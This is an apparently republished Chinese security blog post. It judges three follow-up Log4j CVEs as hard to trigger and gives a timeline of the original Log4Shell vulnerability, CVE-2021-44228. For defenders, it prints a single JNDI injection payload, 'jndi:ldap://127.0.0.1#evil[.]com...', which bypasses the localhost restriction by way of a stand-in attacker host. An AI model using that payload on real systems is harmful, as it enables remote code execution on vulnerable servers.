CVE-2021-4104:
1、是log4j 1.x 不是log4j2
2、这个漏洞要求配置文件能被控制,攻击者听过JMSAppender进行JNDI注入实现RCE
3、总之一句话:条件比较苛刻
4、官方基本放弃了log4j 1.x的维护,担心的可以删除org.apache.log4j.net.JMSAppender类
CVE-2021-45046:Fixed in Log4j 2.12.2 (Java 7) and Log4j 2.16.0 (Java 8)
1、其实包含2个漏洞:一个是可以导致DOS,二个可以导致RCE 注:之前我们预警只提到了DOS,虽然关系不大,不过也需要提一下 https://mp.weixin.qq.com/s/P78P6Jt6RsNgiQAgyH8q-w
2、不管是DOS还是RCE只能在特定情况下触,条件比较苛刻,实际场景下极少见
When the logging configuration uses a non-default Pattern Layout with a Context Lookup (for example, $${ctx:loginId}), attackers with control over Thread Context Map (MDC) input data can craft malicious input data using a JNDI Lookup pattern https://logging.apache.org/log4j/2.x/security.html
3、RCE是因为绕过了之前只能JNDI调用127.0.0.1的限制,不过绕过的方法还是比较经典的
jndi:ldap://127.0.0.1#evil[.]com:1324/a
4、这个漏洞对于开启log4j2.noFormatMsgLookup为true的情况下不能防御
CVE-2021-45105:Fixed in Log4j 2.17.0 (Java 8)
1、可以导致DOS
2、触发条件依然苛刻,实际场景依然极少见
3、log4j-core受影响,log4j-api 无影响
总之言之:
虽然那些评分CVE-2021-45046到了9.0 Critical,CVE-2021-45105也有个7.5 High,但是他们的触发条件要求都非常苛刻,基本问题不大。详细可以参考 https://logging.apache.org/log4j/2.x/security.html
所以重点还是得继续关注CVE-2021-44228,前面整理了下CVE-2021-44228的比较有意思的时间下:
2013年07月17日 漏洞“诞生”,由id为“woon_sanWoonsan Ko”的人提了个issues 开始支持JNDI:
参考:JNDI Lookup plugin support, https://issues.apache.org/jira/browse/LOG4J2-313
2016年08月03日 漏洞原理被公开,由Alvaro Muñoz ( ) 和 OLEKSANDR MIROSH 在BH上详细介绍了JNDI注入的核心原理及细节
参考:A Journey from JNDI/LDAP Manipulation to Remote Code Execution Dream Land ,https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf
2020年07月03日 CodeQL上检查Log Injection插件出现 (注:从漏洞发现者的描叙 https://weibo.com/2734950224/L5xSy6RCv?type=comment ,很可能就是指这个规则)
参考:[Java] CodeQL query to detect Log Injection , https://github.com/github/codeql/pull/3882
2021年11月24日 漏洞由发现者阿里云Chen Zhaojun提交给官方项目组
2021年11月30日 Log4j2官方开发者rgoers创建了漏洞修复的commits
参考:Restrict LDAP access via JNDI,https://github.com/apache/logging-log4j2/pull/608/commits
2021年12月09日 漏洞细节被泄露并迅速蔓延,GitHub发布正式CVE编号:CVE-2021-44228
参考:谁应该为Log4j2 RCE漏洞负责?
2021年12月11日 多个僵尸网络利用该漏洞进行攻击
参考:已有10个家族的恶意样本利用Log4j2漏洞传播 https://blog.netlab.360.com/yi-jing-you-xxxge-jia-zu-de-botnetli-yong-log4shelllou-dong-chuan-bo-wei-da-bu-ding-de-gan-jin-liao/
2021年12月14日 知道创宇404实验室第一时间预警了第一个勒索病毒针对国内某OA系统进行勒索攻击,后续多个勒索被报道
参考:紧急!警惕僵尸网络及勒索软件利用最新Apache Log4j2进行攻击 https://mp.weixin.qq.com/s/V23I0Pav-pV6ZejBPDsKTg
https://www.bleepingcomputer.com/news/security/tellyouthepass-ransomware-revived-in-linux-windows-log4j-attacks/
题外话:
刚从朋友圈看到有个小哥在知乎上吐槽我这个“黑哥”id占了他便宜,这里还是顺带说明下我并不想占任何人便宜,比如我称这位兄弟为“小哥”,现在哪里都是“小哥哥”、“小姐姐”的都是很正常的,而且我的ID是SuperHei,所以很多的朋友习惯性的叫一声“黑哥”,所以我也就用了这个,当然对于那些前辈,确实是有些不妥当,所以可以叫我“素破黑”、“草鸡(超级)黑”,“小黑”、“黑仔”都没啥问题的,我现在的微信昵称就是“黑仔”。至于知乎写文章的那小哥,其实是我觉得你占了我便宜,你可能需要叫声“黑爷”,最起码来个“黑叔”?当然这个都是玩笑啊,大家愿意叫啥都行 :)
原文始发于微信公众号(黑哥说安全):简单说明Log4j2 CVE-2021-44228漏洞后时代的几个“鸡肋”CVE